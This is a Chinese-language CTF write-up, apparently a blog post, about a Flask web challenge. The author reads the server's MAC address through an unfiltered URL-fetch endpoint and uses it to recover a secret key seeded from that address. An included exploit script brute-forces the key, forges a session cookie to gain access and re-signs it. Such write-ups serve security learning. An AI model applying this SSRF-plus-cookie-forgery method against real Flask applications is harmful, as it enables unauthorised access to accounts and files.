做了一道Buu上的华东南赛区的web 第一次接触攻击伪随机数的思路 感觉比较有意思 记录一下

题目可以直接读取到app.py的源码

# encoding:utf-8
import re, random, uuid, urllib
from flask import Flask, session, request

app = Flask(__name__)
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random()*233)
app.debug = True

@app.route('/')
def index():
    session['username'] = 'www-data'
    return 'Hello World! <a href="/read?url=https://baidu.com">Read somethings</a>'

@app.route('/read')
def read():
    try:
        url = request.args.get('url')
        m = re.findall('^file.*', url, re.IGNORECASE)
        n = re.findall('flag', url, re.IGNORECASE)
        if m or n:
            return 'No Hack'
        res = urllib.urlopen(url)
        return res.read()
    except Exception as ex:
        print str(ex)
    return 'no response'

@app.route('/flag')
def flag():
    if session and session['username'] == 'fuck':
        return open('/flag.txt').read()
    else:
        return 'Access denied'

if __name__=='__main__':
    app.run(
        debug=True,
        host="0.0.0.0"
    )

可以看到是一个典型的flask cookie伪造的题目
既然是伪造cookie 就要得到serect_key
serect_key使用伪随机数生成,用mac地址作为随机种子
放一段百度百科的定义

伪随机数是用确定性的算法计算出来自[0,1]均匀分布的随机数序列。并不真正的随机,但具有类似于随机数的统计特征,如均匀性、独立性等。在计算伪随机数时,若使用的初值(种子)不变,那么伪随机数的数序也不变。伪随机数可以用计算机大量生成,在模拟研究中为了提高模拟效率,一般采用伪随机数代替真正的随机数。模拟中使用的一般是循环周期极长并能通过随机数检验的伪随机数,以保证计算结果的随机性。

伪随机数在生成的时候会根据随机种子生成随机数表,每次生成直接取随机数表的下一位,也就是在得到随机数种子的情况下,伪随机数有被爆破碰撞的可能。
url=/sys/class/net/eth0/address
读取到网卡地址
写一个脚本调用session_cookie_manager2.py中的方法暴力解密,得到serect_key后对cookie修改之后重新签名,访问/flag 得到flag
exp:


import random

import session_cookie_manager

mac = "02:42:ae:00:26:14"
random.seed(int(mac.replace(":", ""), 16))
for x in range(1000):
    SECRET_KEY = str(random.random() * 233)
    rs = session_cookie_manager.FSCM.decode('eyJ1c2VybmFtZSI6eyIgYiI6ImQzZDNMV1JoZEdFPSJ9fQ.Xe7vXw.Ryuzsdl4b9o5Idr5o7xguQg9hwk', SECRET_KEY)
    if 'error' not in rs:
        print(SECRET_KEY)
        rs[u'username'] = 'fuck'
        print(str(rs))
        print(session_cookie_manager.FSCM.encode(SECRET_KEY, str(rs)))
        break
分类: 技术

0 条评论

发表评论

电子邮件地址不会被公开。 必填项已用*标注